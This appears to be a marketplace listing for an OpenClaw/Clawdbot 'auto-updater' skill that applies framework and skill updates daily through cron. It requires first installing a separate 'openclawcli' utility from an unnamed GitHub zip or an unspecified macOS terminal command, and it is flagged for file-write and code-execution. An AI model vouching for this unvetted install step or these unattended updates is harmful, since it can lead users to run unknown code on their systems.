auto-updater
Automatically update Clawdbot and all installed skills once daily. Runs via cron, checks for updates, applies them, and messages the user with a summary of what changed.
Why use this skill?
Keep your OpenClaw agent and all installed skills up to date automatically with daily cron maintenance. Ensure compatibility and performance.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/updateWhat This Skill Does
The auto-updater skill is a maintenance-focused automation tool designed to keep your OpenClaw environment in peak condition without requiring manual intervention. By leveraging cron job scheduling, this skill acts as a background caretaker for your system. It systematically performs a dual-layer update process: first, it checks for and applies updates to the core Clawdbot framework using appropriate package managers or source-based migration tools like clawdbot doctor. Second, it synchronizes your entire ecosystem of installed skills using clawdhub, ensuring every plugin is running the latest compatible version. Upon completion, the skill synthesizes a structured report of what changed, providing peace of mind and visibility into your environment's health.
Installation
Installation of this skill is highly dependent on the openclawcli utility. Before attempting to enable the auto-updater, verify that openclawcli is installed and operational on your system. For Windows users, download the latest zip from the provided GitHub release repository. macOS users should utilize the provided terminal installation command. Once the utility is active, you can initialize the skill via chat or by manually defining a cron job. We recommend the chat method for most users as it allows Clawdbot to handle the configuration parameters automatically based on your current session preferences.
Use Cases
This skill is essential for users managing complex agent setups with many interconnected skills. It is particularly useful for developers who want to ensure they are always using the latest API definitions or security patches from skill authors. Furthermore, it is ideal for production environments where minimal downtime is required; by scheduling updates for off-peak hours (e.g., 4:00 AM), users ensure their agent is always ready for work during business hours without having to stop and restart services manually.
Example Prompts
- "Set up daily auto-updates for yourself and all your skills so I don't have to worry about versions."
- "Can you show me the update summary from this morning's maintenance run?"
- "Check if there are any updates available for my skills right now without actually applying them yet."
Tips & Limitations
To ensure consistent behavior, always verify that your system clock is correctly synced with your chosen timezone. While the skill is robust, major version changes in Clawdbot may occasionally require manual oversight. Always monitor the update summary message to confirm successful migrations. Remember that the auto-updater cannot bypass local permissions; ensure the user account running the agent has read/write access to your installation directories. If you encounter issues, verify your openclawcli status using clawdbot doctor before reporting bugs.
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Find the right skillPaste this into your clawhub.json to enable this plugin.
{
"plugins": {
"official-hightower6eu-update": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: file-write, code-execution
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